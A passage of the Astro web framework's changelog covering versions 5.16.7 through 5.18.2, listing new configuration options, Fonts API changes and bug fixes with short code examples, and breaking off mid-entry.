[`cb99214`](https://github.com/withastro/astro/commit/cb99214ebb991d1b929978f46e1b3ae68b561366), [`80f0225`](https://github.com/withastro/astro/commit/80f022559e81b5609a69ba31c7f0d93dcb0bf74d), [`727b0a2`](https://github.com/withastro/astro/commit/727b0a205eb765f1c36f13a73dfc69e17e44df8f), [`4e7f3e8`](https://github.com/withastro/astro/commit/4e7f3e8e6849c314a0ab031ebd7f23fb982f0529), [`a164c77`](https://github.com/withastro/astro/commit/a164c77336059f2dc3e7f7fe992aa754ed145ef3), [`1fa4177`](https://github.com/withastro/astro/commit/1fa41779c458123f707940a5253dbe6e540dbf7d), [`7c55f80`](https://github.com/withastro/astro/commit/7c55f80fa1fd91f8f71ad60437f81e6c7f98f69d), [`cf6ea6b`](https://github.com/withastro/astro/commit/cf6ea6b36b67c7712395ed3f9ca19cb14ba1a013), [`6f19ecc`](https://github.com/withastro/astro/commit/6f19ecc35adfb2ddaabbba2269630f95c13f5a57), [`f94d3c5`](https://github.com/withastro/astro/commit/f94d3c5313e5a7576cf2cb316a85d68d335a188f), [`a18d727`](https://github.com/withastro/astro/commit/a18d727fc717054df85177c8e0c3d38a5252f2da), [`240c317`](https://github.com/withastro/astro/commit/240c317faab52d7f22494e9181f5d2c2c404b0bd), [`745e632`](https://github.com/withastro/astro/commit/745e632fc590e41a5701509e9cc4ed971bdddf74)]: - [@&#8203;astrojs/markdown-remark](https://github.com/astrojs/markdown-remark)@&#8203;7.0.0 - [@&#8203;astrojs/internal-helpers](https://github.com/astrojs/internal-helpers)@&#8203;0.8.0 ### [`v5.18.2`](https://github.com/withastro/astro/releases/tag/astro%405.18.2) [Compare Source](https://github.com/withastro/astro/compare/astro@5.18.1...astro@5.18.2) ##### Patch Changes - [#&#8203;16813](https://github.com/withastro/astro/pull/16813) [`8f7d8c4`](https://github.com/withastro/astro/commit/8f7d8c46ffc79b23200a98fcf6b72c53e19d71db) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Populates styles in the SSR manifest for prerendered routes. Previously, prerendered routes had `styles: []` in the manifest, making it impossible for workers or middleware to discover which CSS files a prerendered page uses. ### [`v5.18.1`](https://github.com/withastro/astro/releases/tag/astro%405.18.1) [Compare Source](https://github.com/withastro/astro/compare/astro@5.18.0...astro@5.18.1) ##### Patch Changes - Updated dependencies \[[`c2cd371`](https://github.com/withastro/astro/commit/c2cd371f9f2003ab8c9ce70a24fc0af40c5de531)]: - [@&#8203;astrojs/internal-helpers](https://github.com/astrojs/internal-helpers)@&#8203;0.7.6 - [@&#8203;astrojs/markdown-remark](https://github.com/astrojs/markdown-remark)@&#8203;6.3.11 ### [`v5.18.0`](https://github.com/withastro/astro/releases/tag/astro%405.18.0) [Compare Source](https://github.com/withastro/astro/compare/astro@5.17.3...astro@5.18.0) ##### Minor Changes - [#&#8203;15589](https://github.com/withastro/astro/pull/15589) [`b7dd447`](https://github.com/withastro/astro/commit/b7dd447e319a7b435c01ccd69347e5261bd9dc14) Thanks [@&#8203;qzio](https://github.com/qzio)! - Adds a new `security.actionBodySizeLimit` option to configure the maximum size of Astro Actions request bodies. This lets you increase the default 1 MB limit when your actions need to accept larger payloads. For example, actions that handle file uploads or large JSON payloads can now opt in to a higher limit. If you do not set this option, Astro continues to enforce the 1 MB default to help prevent abuse. ```js // astro.config.mjs export default defineConfig({ security: { actionBodySizeLimit: 10 * 1024 * 1024, // set to 10 MB }, }); ``` ##### Patch Changes - [#&#8203;15594](https://github.com/withastro/astro/pull/15594) [`efae11c`](https://github.com/withastro/astro/commit/efae11cef1ebe1f2f54ceb55db0d1ff1938351c6) Thanks [@&#8203;qzio](https://github.com/qzio)! - Fix X-Forwarded-Proto validation when allowedDomains includes both protocol and hostname fields. The protocol check no longer fails due to hostname mismatch against the hardcoded test URL. ### [`v5.17.3`](https://github.com/withastro/astro/releases/tag/astro%405.17.3) [Compare Source](https://github.com/withastro/astro/compare/astro@5.17.2...astro@5.17.3) ##### Patch Changes - [#&#8203;15564](https://github.com/withastro/astro/pull/15564) [`522f880`](https://github.com/withastro/astro/commit/522f880b07a4ea7d69a19b5507fb53a5ed6c87f8) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Add a default body size limit for server actions to prevent oversized requests from exhausting memory. - [#&#8203;15569](https://github.com/withastro/astro/pull/15569) [`e01e98b`](https://github.com/withastro/astro/commit/e01e98b063e90d274c42130ec2a60cc0966622c9) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Respect image allowlists when inferring remote image sizes and reject remote redirects. ### [`v5.17.2`](https://github.com/withastro/astro/releases/tag/astro%405.17.2) [Compare Source](https://github.com/withastro/astro/compare/astro@5.17.1...astro@5.17.2) ##### Patch Changes - [`c13b536`](https://github.com/withastro/astro/commit/c13b536197a70d8d4fd0037c5bd3aaa2be0598b9) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Improves Host header handling for SSR deployments behind proxies ### [`v5.17.1`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#5171) [Compare Source](https://github.com/withastro/astro/compare/astro@5.17.0...astro@5.17.1) ##### Patch Changes - [#&#8203;15334](https://github.com/withastro/astro/pull/15334) [`d715f1f`](https://github.com/withastro/astro/commit/d715f1f88777a4ce0fb61c8043cccfbac2486ab4) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - **BREAKING CHANGE to the experimental Fonts API only** Removes the `getFontBuffer()` helper function exported from `astro:assets` when using the experimental Fonts API This experimental feature introduced in v15.6.13 ended up causing significant memory usage during build. This feature has been removed and will be reintroduced after further exploration and testing. If you were relying on this function, you can replicate the previous behavior manually: - On prerendered routes, read the file using `node:fs` - On server rendered routes, fetch files using URLs from `fontData` and `context.url` ### [`v5.17.0`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#5170) [Compare Source](https://github.com/withastro/astro/compare/astro@5.16.16...astro@5.17.0) ##### Minor Changes - [#&#8203;14932](https://github.com/withastro/astro/pull/14932) [`b19d816`](https://github.com/withastro/astro/commit/b19d816c914022c4e618d6012e09aed82be34213) Thanks [@&#8203;patrickarlt](https://github.com/patrickarlt)! - Adds support for returning a Promise from the `parser()` option of the `file()` loader This enables you to run asynchronous code such as fetching remote data or using async parsers when loading files with the Content Layer API. For example: ```js import { defineCollection } from 'astro:content'; import { file } from 'astro/loaders'; const blog = defineCollection({ loader: file('src/data/blog.json', { parser: async (text) => { const data = JSON.parse(text); // Perform async operations like fetching additional data const enrichedData = await fetch(`https://api.example.com/enrich`, { method: 'POST', body: JSON.stringify(data), }).then((res) => res.json()); return enrichedData; }, }), }); export const collections = { blog }; ``` See [the `parser()` reference documentation](https://docs.astro.build/en/reference/content-loader-reference/#parser) for more information. - [#&#8203;15171](https://github.com/withastro/astro/pull/15171) [`f220726`](https://github.com/withastro/astro/commit/f22072607c79f5ba3459ba7522cfdf2581f1869b) Thanks [@&#8203;mark-ignacio](https://github.com/mark-ignacio)! - Adds a new, optional `kernel` configuration option to select a resize algorithm in the Sharp image service By default, Sharp resizes images with the `lanczos3` kernel. This new config option allows you to set the default resizing algorithm to any resizing option supported by [Sharp](https://sharp.pixelplumbing.com/api-resize/#resize) (e.g. `linear`, `mks2021`). Kernel selection can produce quite noticeable differences depending on various characteristics of the source image - especially drawn art - so changing the kernel gives you more control over the appearance of images on your site: ```js export default defineConfig({ image: { service: { entrypoint: 'astro/assets/services/sharp', config: { kernel: "mks2021" } } }) ``` This selection will apply to all images on your site, and is not yet configurable on a per-image basis. For more information, see [Sharps documentation on resizing images](https://sharp.pixelplumbing.com/api-resize/#resize). - [#&#8203;15063](https://github.com/withastro/astro/pull/15063) [`08e0fd7`](https://github.com/withastro/astro/commit/08e0fd723742dda4126665f5e32f4065899af83e) Thanks [@&#8203;jmortlock](https://github.com/jmortlock)! - Adds a new `partitioned` option when setting a cookie to allow creating partitioned cookies. [Partitioned cookies](https://developer.mozilla.org/en-US/docs/Web/Privacy/Guides/Privacy_sandbox/Partitioned_cookies) can only be read within the context of the top-level site on which they were set. This allows cross-site tracking to be blocked, while still enabling legitimate uses of third-party cookies. You can create a partitioned cookie by passing `partitioned: true` when setting a cookie. Note that partitioned cookies must also be set with `secure: true`: ```js Astro.cookies.set('my-cookie', 'value', { partitioned: true, secure: true, }); ``` For more information, see the [`AstroCookieSetOptions` API reference](https://docs.astro.build/en/reference/api-reference/#astrocookiesetoptions). - [#&#8203;15022](https://github.com/withastro/astro/pull/15022) [`f1fce0e`](https://github.com/withastro/astro/commit/f1fce0e7cc3c1122bf5c4f1c5985ca716c8417db) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Adds a new `retainBody` option to the `glob()` loader to allow reducing the size of the data store. Currently, the `glob()` loader stores the raw body of each content file in the entry, in addition to the rendered HTML. The `retainBody` option defaults to `true`, but you can set it to `false` to prevent the raw body of content files from being stored in the data store. This significantly reduces the deployed size of the data store and helps avoid hitting size limits for sites with very large collections. The rendered body will still be available in the `entry.rendered.html` property for markdown files, and the `entry.filePath` property will still point to the original file. ```js import { defineCollection } from 'astro:content'; import { glob } from 'astro/loaders'; const blog = defineCollection({ loader: glob({ pattern: '**/*.md', base: './src/content/blog', retainBody: false, }), }); ``` When `retainBody` is `false`, `entry.body` will be `undefined` instead of containing the raw file contents. - [#&#8203;15153](https://github.com/withastro/astro/pull/15153) [`928529f`](https://github.com/withastro/astro/commit/928529f824d37e9bfb297ff931ebfcb3f0b56428) Thanks [@&#8203;jcayzac](https://github.com/jcayzac)! - Adds a new `background` property to the `<Image />` component. This optional property lets you pass a background color to flatten the image with. By default, Sharp uses a black background when flattening an image that is being converted to a format that does not support transparency (e.g. `jpeg`). Providing a value for `background` on an `<Image />` component, or passing it to the `getImage()` helper, will flatten images using that color instead. This is especially useful when the requested output format doesn't support an alpha channel (e.g. `jpeg`) and can't support transparent backgrounds. ```astro --- import { Image } from 'astro:assets'; --- <Image src="/transparent.png" alt="A JPEG with a white background!" format="jpeg" background="#ffffff" /> ``` See more about this new property in [the image reference docs](https://docs.astro.build/en/reference/modules/astro-assets/#background) - [#&#8203;15015](https://github.com/withastro/astro/pull/15015) [`54f6006`](https://github.com/withastro/astro/commit/54f6006c3ddae8935a5550e2c3b38d25bf662ea6) Thanks [@&#8203;tony](https://github.com/tony)! - Adds optional `placement` config option for the dev toolbar. You can now configure the default toolbar position (`'bottom-left'`, `'bottom-center'`, or `'bottom-right'`) via `devToolbar.placement` in your Astro config. This option is helpful for sites with UI elements (chat widgets, cookie banners) that are consistently obscured by the toolbar in the dev environment. You can set a project default that is consistent across environments (e.g. dev machines, browser instances, team members): ```js // astro.config.mjs export default defineConfig({ devToolbar: { placement: 'bottom-left', }, }); ``` User preferences from the toolbar UI (stored in `localStorage`) still take priority, so this setting can be overridden in individual situations as necessary. ### [`v5.16.16`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#51616) [Compare Source](https://github.com/withastro/astro/compare/astro@5.16.15...astro@5.16.16) ##### Patch Changes - [#&#8203;15281](https://github.com/withastro/astro/pull/15281) [`a1b80c6`](https://github.com/withastro/astro/commit/a1b80c65e5dddefba7ada20c7ccfdab26fb4e16b) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Ensures server island requests carry an encrypted component export identifier so they do not accidentally resolve to the wrong component. - [#&#8203;15304](https://github.com/withastro/astro/pull/15304) [`02ee3c7`](https://github.com/withastro/astro/commit/02ee3c745297203c38ee013b500126b15f7e5fc9) Thanks [@&#8203;cameronapak](https://github.com/cameronapak)! - Fix: Remove await from getActionResult example - [#&#8203;15324](https://github.com/withastro/astro/pull/15324) [`ab41c3e`](https://github.com/withastro/astro/commit/ab41c3e789b821e9179d11d67f453ba955448be6) Thanks [@&#8203;Princesseuh](https://github.com/Princesseuh)! - Fixes an issue where certain unauthorized links could be rendered as clickable in the error overlay ### [`v5.16.15`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#51615) [Compare Source](https://github.com/withastro/astro/compare/astro@5.16.14...astro@5.16.15) ##### Patch Changes - [#&#8203;15286](https://github.com/withastro/astro/pull/15286) [`0aafc83`](https://github.com/withastro/astro/commit/0aafc8342a47f5c96cd13bfc02539d89c3c358a7) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Fixes a case where font providers provided as class instances may not work when using the experimental Fonts API. It affected the local provider ### [`v5.16.14`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#51614) [Compare Source](https://github.com/withastro/astro/compare/astro@5.16.13...astro@5.16.14) ##### Patch Changes - [#&#8203;15213](https://github.com/withastro/astro/pull/15213) [`c775fce`](https://github.com/withastro/astro/commit/c775fce98f50001bc59025dceaf8ea5287675f17) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - **BREAKING CHANGE to the experimental Fonts API only** Updates how the local provider must be used when using the experimental Fonts API Previously, there were 2 kinds of font providers: remote and local. Font providers are now unified. If you are using the local provider, the process for configuring local fonts must be updated: ```diff -import { defineConfig } from "astro/config"; +import { defineConfig, fontProviders } from "astro/config"; export default defineConfig({ experimental: { fonts: [{ name: "Custom", cssVariable: "--font-custom", - provider: "local", + provider: fontProviders.local(), + options: { variants: [ { weight: 400, style: "normal", src: ["./src/assets/fonts/custom-400.woff2"] }, { weight: 700, style: "normal", src: ["./src/assets/fonts/custom-700.woff2"] } // ... ] + } }] } }); ``` Once configured, there is no change to using local fonts in your project. However, you should inspect your deployed site to confirm that your new font configuration is being applied. See [the experimental Fonts API docs](https://docs.astro.build/en/reference/experimental-flags/fonts/) for more information. - [#&#8203;15213](https://github.com/withastro/astro/pull/15213) [`c775fce`](https://github.com/withastro/astro/commit/c775fce98f50001bc59025dceaf8ea5287675f17) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Exposes `root` on `FontProvider` `init()` context When building a custom `FontProvider` for the experimental Fonts API, the `init()` method receives a `context`. This context now exposes a `root` URL, useful for resolving local files: ```diff import type { FontProvider } from "astro"; export function registryFontProvider(): FontProvider { return { // ... - init: async ({ storage }) => { + init: async ({ storage, root }) => { // ... }, }; } ``` - [#&#8203;15185](https://github.com/withastro/astro/pull/15185) [`edabeaa`](https://github.com/withastro/astro/commit/edabeaa3cd3355fa33e4eb547656033fe7b66845) Thanks [@&#8203;EricGrill](https://github.com/EricGrill)! - Add `.vercel` to `.gitignore` when adding the Vercel adapter via `astro add vercel` ### [`v5.16.13`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#51613) [Compare Source](https://github.com/withastro/astro/compare/astro@5.16.12...astro@5.16.13) ##### Patch Changes - [#&#8203;15182](https://github.com/withastro/astro/pull/15182) [`cb60ee1`](https://github.com/withastro/astro/commit/cb60ee16051da258ab140f3bb64ff3fd8e4c9e17) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Adds a new `getFontBuffer()` method to retrieve font file buffers when using the experimental Fonts API The `getFontData()` helper function from `astro:assets` was introduced in 5.14.0 to provide access to font family data for use outside of Astro. One of the goals of this API was to be able to retrieve buffers using URLs. However, it turned out to be impractical and even impossible during prerendering. Astro now exports a new `getFontBuffer()` helper function from `astro:assets` to retrieve font file buffers from URL returned by `getFontData()`. For example, when using [satori](https://github.com/vercel/satori) to generate Open Graph images: ```diff // src/pages/og.png.ts import type{ APIRoute } from "astro" -import { getFontData } from "astro:assets" +import { getFontData, getFontBuffer } from "astro:assets" import satori from "satori" export const GET: APIRoute = (context) => { const data = getFontData("--font-roboto") const svg = await satori( <div style={{ color: "black" }}>hello, world</div>, { width: 600, height: 400, fonts: [ { name: "Roboto", - data: await fetch(new URL(data[0].src[0].url, context.url.origin)).then(res => res.arrayBuffer()), + data: await getFontBuffer(data[0].src[0].url), weight: 400, style: "normal", }, ], }, ) // ... } ``` See the [experimental Fonts API documentation](https://docs.astro.build/en/reference/experimental-flags/fonts/#accessing-font-data-programmatically) for more information. ### [`v5.16.12`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#51612) [Compare Source](https://github.com/withastro/astro/compare/astro@5.16.11...astro@5.16.12) ##### Patch Changes - [#&#8203;15175](https://github.com/withastro/astro/pull/15175) [`47ae148`](https://github.com/withastro/astro/commit/47ae1480eecd5da7080f1e659b6aef211aaf3300) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Allows experimental Font providers to specify family options Previously, an Astro `FontProvider` could only accept options at the provider level when called. That could result in weird data structures for family-specific options. Astro `FontProvider`s can now declare family-specific options, by specifying a generic: ```diff // font-provider.ts import type { FontProvider } from "astro"; import { retrieveFonts, type Fonts } from "./utils.js", interface Config { token: string; } +interface FamilyOptions { + minimal?: boolean; +} -export function registryFontProvider(config: Config): FontProvider { +export function registryFontProvider(config: Config): FontProvider<FamilyOptions> { let data: Fonts = {} return { name: "registry", config, init: async () => { data = await retrieveFonts(token); }, listFonts: () => { return Object.keys(data); }, - resolveFont: ({ familyName, ...rest }) => { + // options is typed as FamilyOptions + resolveFont: ({ familyName, options, ...rest }) => { const fonts = data[familyName]; if (fonts) { return { fonts }; } return undefined; }, }; } ``` Once the font provider is registered in the Astro config, types are automatically inferred: ```diff // astro.config.ts import { defineConfig } from "astro/config"; import { registryFontProvider } from "./font-provider"; export default defineConfig({ experimental: { fonts: [{ provider: registryFontProvider({ token: "..." }), name: "Custom", cssVariable: "--font-custom", + options: { + minimal: true + } }] } }); ``` - [#&#8203;15175](https://github.com/withastro/astro/pull/15175) [`47ae148`](https://github.com/withastro/astro/commit/47ae1480eecd5da7080f1e659b6aef211aaf3300) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - **BREAKING CHANGE to the experimental Fonts API only** Updates how options are passed to the Google and Google Icons font providers when using the experimental Fonts API Previously, the Google and Google Icons font providers accepted options that were specific to given font families. These options must now be set using the `options` property instead. For example using the Google provider: ```diff import { defineConfig, fontProviders } from "astro/config"; export default defineConfig({ experimental: { fonts: [{ name: 'Inter', cssVariable: '--astro-font-inter', weights: ['300 900'], - provider: fontProviders.google({ - experimental: { - variableAxis: { - Inter: { opsz: ['14..32'] } - } - } - }), + provider: fontProviders.google(), + options: { + experimental: { + variableAxis: { opsz: ['14..32'] } + } + } }] } }) ``` - [#&#8203;15200](https://github.com/withastro/astro/pull/15200) [`c0595b3`](https://github.com/withastro/astro/commit/c0595b3e71a3811921ddc24e6ed7538c0df53a96) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - **BREAKING CHANGE to the experimental Fonts API only** Removes `getFontData()` exported from `astro:assets` with `fontData` when using the experimental Fonts API Accessing font data can be useful for advanced use cases, such as generating meta tags or Open Graph images. Before, we exposed a `getFontData()` helper function to retrieve the font data for a given `cssVariable`. That was however limiting for programmatic usages that need to access all font data. The `getFontData()` helper function is removed and replaced by a new `fontData` object: ```diff -import { getFontData } from "astro:assets"; -const data = getFontData("--font-roboto") +import { fontData } from "astro:assets"; +const data = fontData["--font-roboto"] ``` We may reintroduce `getFontData()` later on for a more friendly DX, based on your feedback. - [#&#8203;15254](https://github.com/withastro/astro/pull/15254) [`8d84b30`](https://github.com/withastro/astro/commit/8d84b3040181018f358b4e5684f9df55949aa4ca) Thanks [@&#8203;lamalex](https://github.com/lamalex)! - Fixes CSS `assetsPrefix` with remote URLs incorrectly prepending a forward slash When using `build.assetsPrefix` with a remote URL (e.g., `https://cdn.example.com`) for CSS assets, the generated `<link>` elements were incorrectly getting a `/` prepended to the full URL, resulting in invalid URLs like `/https://cdn.example.com/assets/style.css`. This fix checks if the stylesheet link is a remote URL before prepending the forward slash. - [#&#8203;15178](https://github.com/withastro/astro/pull/15178) [`731f52d`](https://github.com/withastro/astro/commit/731f52dd68c538a3372d4ac078e72d1090cc4cce) Thanks [@&#8203;kedarvartak](https://github.com/kedarvartak)! - Fixes an issue where stopping the dev server with `q+enter` incorrectly created a `dist` folder and copied font files when using the experimental Fonts API - [#&#8203;15230](https://github.com/withastro/astro/pull/15230) [`3da6272`](https://github.com/withastro/astro/commit/3da62721f02e7cbf1344ae9766ca73cae71b23c8) Thanks [@&#8203;rahuld109](https://github.com/rahuld109)! - Fixes greedy regex in error message markdown rendering that caused link syntax examples to capture extra characters - [#&#8203;15253](https://github.com/withastro/astro/pull/15253) [`2a6315a`](https://github.com/withastro/astro/commit/2a6315a3a38273ed47e4aa16a4dd9449fc7927c9) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fixes hydration for React components nested inside HTML elements in MDX files - [#&#8203;15227](https://github.com/withastro/astro/pull/15227) [`9a609f4`](https://github.com/withastro/astro/commit/9a609f4a6264fc2238e02cffb00a9285f4a10973) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fixes styles not being included for conditionally rendered Svelte 5 components in production builds - [#&#8203;14607](https://github.com/withastro/astro/pull/14607) [`ee52160`](https://github.com/withastro/astro/commit/ee52160f3374f65d1a8cb460c1340172902313bc) Thanks [@&#8203;simensfo](https://github.com/simensfo)! - Reintroduces css deduplication for hydrated client components. Ensures assets already added to a client chunk are not flagged as orphaned ### [`v5.16.11`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#51611) [Compare Source](https://github.com/withastro/astro/compare/astro@5.16.10...astro@5.16.11) ##### Patch Changes - [#&#8203;15017](https://github.com/withastro/astro/pull/15017) [`9e7a3c8`](https://github.com/withastro/astro/commit/9e7a3c86198956e558384235b71a6c12e87fc5fb) Thanks [@&#8203;ixchio](https://github.com/ixchio)! - Fixes CSS double-bundling when the same CSS file is imported in both a page's frontmatter and a component's script tag - [#&#8203;15225](https://github.com/withastro/astro/pull/15225) [`6fe62e1`](https://github.com/withastro/astro/commit/6fe62e169cf9e1054cba95ce4084d8a58bdd0a66) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Updates to the latest version of `devalue` ### [`v5.16.10`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#51610) [Compare Source](https://github.com/withastro/astro/compare/astro@5.16.9...astro@5.16.10) ##### Patch Changes - [`2fa19c4`](https://github.com/withastro/astro/commit/2fa19c41be895e5255a8b12a43f9f9691cb57e5d) - Improved error handling in the rendering phase Added defensive validation in `App.render()` and `#renderError()` to provide a descriptive error message when a route module doesn't have a valid page function. - [#&#8203;15199](https://github.com/withastro/astro/pull/15199) [`d8e64ef`](https://github.com/withastro/astro/commit/d8e64ef77ef364b1541a5d192bcff299135d3bc8) Thanks [@&#8203;ArmandPhilippot](https://github.com/ArmandPhilippot)! - Fixes the links to Astro Docs so that they match the current docs structure. - [#&#8203;15169](https://github.com/withastro/astro/pull/15169) [`b803d8b`](https://github.com/withastro/astro/commit/b803d8b4b4e5e71ef4b28b23186e2786dc80a308) Thanks [@&#8203;rururux](https://github.com/rururux)! - fix: fix image 500 error when moving dist directory in standalone Node - [#&#8203;14622](https://github.com/withastro/astro/pull/14622) [`9b35c62`](https://github.com/withastro/astro/commit/9b35c62cb38d3507f426b872d972b1b4d7b20bc8) Thanks [@&#8203;aprici7y](https://github.com/aprici7y)! - Fixes CSS url() references to public assets returning 404 in dev mode when base path is configured - [#&#8203;15219](https://github.com/withastro/astro/pull/15219) [`43df4ce`](https://github.com/withastro/astro/commit/43df4ce1c6c221a751b640c45687adfa83226e7c) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Upgrades the `diff` package to v8 ### [`v5.16.9`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#5169) [Compare Source](https://github.com/withastro/astro/compare/astro@5.16.8...astro@5.16.9) ##### Patch Changes - [#&#8203;15174](https://github.com/withastro/astro/pull/15174) [`37ab65a`](https://github.com/withastro/astro/commit/37ab65acb1af6e41d25ec29f3c04c690c7601c87) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Adds Google Icons to built-in font providers To start using it, access it on `fontProviders`: ```ts import { defineConfig, fontProviders } from 'astro/config'; export default defineConfig({ experimental: { fonts: [ { name: 'Material Symbols Outlined', provider: fontProviders.googleicons(), cssVariable: '--font-material', }, ], }, }); ``` - [#&#8203;15150](https://github.com/withastro/astro/pull/15150) [`a77c4f4`](https://github.com/withastro/astro/commit/a77c4f42b56b46b08064a99e9cb9a2b4bace4445) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fixes hydration for framework components inside MDX when using `Astro.slots.render()` Previously, when multiple framework components with `client:*` directives were passed as named slots to an Astro component in MDX, only the first slot would hydrate correctly. Subsequent slots would render their HTML but fail to include the necessary hydration scripts. - [#&#8203;15130](https://github.com/withastro/astro/pull/15130) [`9b726c4`](https://github.com/withastro/astro/commit/9b726c4e36bb1560badf5bf9b78783a240939124) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - **BREAKING CHANGE to the experimental Fonts API only** Changes how font providers are implemented with updates to the `FontProvider` type This is an implementation detail that changes how font providers are created. This process allows Astro to take more control rather than relying directly on `unifont` types. **All of Astro's built-in font providers have been updated to reflect this new type, and can be configured as before**. However, using third-party unifont providers that rely on `unifont` types will require an update to your project code. Previously, an Astro `FontProvider` was made of a config and a runtime part. It relied directly on `unifont` types, which allowed a simple configuration for third-party unifont providers, but also coupled Astro's implementation to unifont, which was limiting. Astro's font provider implementation is now only made of a config part with dedicated hooks. This allows for the separation of config and runtime, but requires you to create a font provider object in order to use custom font providers (e.g. third-party unifont providers, or private font registries). ##### What should I do? If you were using a 3rd-party `unifont` font provider, you will now need to write an Astro `FontProvider` using it under the hood. For example: ```diff // astro.config.ts import { defineConfig } from "astro/config"; import { acmeProvider, type AcmeOptions } from '@&#8203;acme/unifont-provider' +import type { FontProvider } from "astro"; +import type { InitializedProvider } from 'unifont'; +function acme(config?: AcmeOptions): FontProvider { + const provider = acmeProvider(config); + let initializedProvider: InitializedProvider | undefined; + return { + name: provider._name, + config, + async init(context) { + initializedProvider = await provider(context); + }, + async resolveFont({ familyName, ...rest }) { + return await initializedProvider?.resolveFont(familyName, rest); + }, + async listFonts() { + return await initializedProvider?.listFonts?.(); + }, + }; +} export default defineConfig({ experimental: { fonts: [{ - provider: acmeProvider({ /* ... */ }), + provider: acme({ /* ... */ }), name: "Material Symbols Outlined", cssVariable: "--font-material" }] } }); ``` - [#&#8203;15147](https://github.com/withastro/astro/pull/15147) [`9cd5b87`](https://github.com/withastro/astro/commit/9cd5b875f2d45a08bfa8312ed7282a6f0f070265) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fixes scripts in components not rendering when a sibling `<Fragment slot="...">` exists but is unused ### [`v5.16.8`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#5168) [Compare Source](https://github.com/withastro/astro/compare/astro@5.16.7...astro@5.16.8) ##### Patch Changes - [#&#8203;15124](https://github.com/withastro/astro/pull/15124) [`81db3c0`](https://github.com/withastro/astro/commit/81db3c06e8f75bf1ec6f3d4d31a42d16dcf0e969) Thanks [@&#8203;leonace924](https://github.com/leonace924)! - Fixes an issue where requests with query parameters to the `base` path would return a 404 if trailingSlash was not `'ignore'` in development - [#&#8203;15152](https://github.com/withastro/astro/pull/15152) [`39ee41f`](https://github.com/withastro/astro/commit/39ee41fa56b362942162dc17b0b4252d2f881e7e) Thanks [@&#8203;rururux](https://github.com/rururux)! - Fixes a case where `context.cookies.set()` would be overridden when setting cookies via response headers in development - [#&#8203;15140](https://github.com/withastro/astro/pull/15140) [`6f6f8f8`](https://github.com/withastro/astro/commit/6f6f8f8c0c3ccf346d741a8625bbfbe1329e472e) Thanks [@&#8203;cameronraysmith](https://github.com/cameronraysmith)! - Fixes esbuild warning due to dead code in assets virtual module - [#&#8203;15127](https://github.com/withastro/astro/pull/15127) [`2cff904`](https://github.com/withastro/astro/commit/2cff9045256a2b551465750de7cba29087046658) Thanks [@&#8203;Princesseuh](https://github.com/Princesseuh)! - Updates "Unsupported page types found" error to only appear in more realistic cases - [#&#8203;15149](https://github.com/withastro/astro/pull/15149) [`34f84c2`](https://github.com/withastro/astro/commit/34f84c2437fd078e299a29eeb1f931c9f83c8d2e) Thanks [@&#8203;rahuld109](https://github.com/rahuld109)! - Skips "Use the Image component" audit warning for images inside framework components (React, Vue, Svelte, etc.) ### [`v5.16.7`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#5167) [Compare Source](https://github.com/withastro/astro/compare/astro@5.16.6...astro@5.16.7) ##### Patch Changes - [#&#8203;15122](https://github.com/withastro/astro/pull/15122) [`b137946`](https://github.com/withastro/astro/commit/b1379466e8c6ded9fbcc3687c7faca4c2d3472b2) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Improves JSDoc annotations for `AstroGlobal`, `AstroSharedContext` and `APIContext` types - [#&#8203;15123](https://github.com/withastro/astro/pull/15123) [`3f58fa2`](https://github.com/withastro/astro/commit/3f58fa20540ee3753158d8d0372affa47775c561) Thanks [@&#8203;43081j](https://github.com/43081j)! - Improves rendering performance by grouping render chunks when emitting from async iterables to avoid encoding costs - [#&#8203;14954](https://github.com/withastro/astro/pull/14954) [`7bec4bd`](https://github.com/withastro/astro/commit/7bec4bdadda1d66da1c7dc0a01ad4412a47337d9) Thanks [@&#8203;volpeon](https://github.com/volpeon)! - Fixes remote images `Etag` header handling by disabling internal cache - [#&#8203;15052](https://github.com/withastro/astro/pull/15052) [`b2bcd5a`](https://github.com/withastro/astro/commit/b2bcd5af28dfb75541f3249b0277b458355395cf) Thanks [@&#8203;Princesseuh](https://github.com/Princesseuh)! - Fixes images not working in development when using setups with port forwarding - [#&#8203;15028](https://github.com/withastro/astro/pull/15028) [`87b19b8`](https://github.com/withastro/astro/commit/87b19b8df49d08ee7a7a1855f3645fe7bebf1997) Thanks [@&#8203;Princesseuh](https://github.com/Princesseuh)! - Fixes 